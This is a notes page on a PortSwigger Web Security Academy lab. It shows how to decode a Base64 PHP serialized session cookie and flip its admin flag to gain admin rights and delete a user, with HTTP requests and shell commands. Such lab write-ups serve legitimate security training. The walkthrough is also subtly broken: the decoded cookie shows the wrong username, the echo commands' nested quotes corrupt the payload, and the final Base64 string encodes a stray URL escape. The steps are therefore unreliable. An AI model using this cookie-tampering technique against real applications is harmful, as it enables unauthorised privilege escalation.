> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/web/deserialization/editing-serialized-objects.md).
# Editing Serialized Objects
Editing Serialized Objects notes for PortSwigger Web Security Academy labs, including exploitation workflow, payload testing, Burp Suite validation, and remediation context.
### Modifying Serialized Objects
This lab uses a session mechanism based on **serialization** and presents a vulnerability that allows **privilege escalation**. / The goal is to modify the serialized object stored in the session cookie to get admin privileges, then delete user **carlos**.
A user account is provided to start:
* **Identifier**: wiener
* **Password**: peter
**Observation initiale**
After authentication, a login request is sent:
```http
POST /login HTTP/2
Host: 0a66003e03add3bb824ef63c001200c9.web-security-academy.net
Cookie: session=
Content-Length: 30
username=wiener&password=peter
```
The server responds with a session cookie:
```http
Set-Cookie: session=Tzo0OiJVc2VyIjoyOntzOjg6InVzZXJuYW1lIjtzOjY6IndpZW5lciI7czo1OiJhZG1pbiI7YjowO30%3d;
```
**Session cookie analysis**
The content of the cookie is encoded in Base64. / Once decoded, you get a serialized PHP object:
```bash
O:4:"User":2:{s:8:"username";s:6:"carlos";s:5:"admin";b:0;}
```
This object contains:
* user name (`username`)
* an administrator privilege indicator (`admin`), defined in `false` (`b:0`)
```http
echo "O:4:"User":2:{s:8:"username";s:6:"carlos";s:5:"admin";b:0;}" | base64 ; echo
```
Recoding the object in Base64:
```bash
Tzo0OlVzZXI6Mjp7czo4OnVzZXJuYW1lO3M6NjpjYXJsb3M7czo1OmFkbWluO2I6MDt9Cg==
```
**Modification of the serialized object**
The object can be changed on the client side before being returned to the server.
1. Change of username to **carlos**:
2. Activation of admin privileges by passing `admin` to `true`:
```bash
echo "O:4:"User":2:{s:8:"username";s:6:"carlos";s:5:"admin";b:1;}" | base64 ; echo
```
3. Recoding the object in Base64:
```bash
Tzo0OiJVc2VyIjoyOntzOjg6InVzZXJuYW1lIjtzOjY6ImNhcmxvcyI7czo1OiJhZG1pbiI7YjoxO30lM2Q=
```
**Exploitation**
The session cookie is replaced by the new modified value.
---
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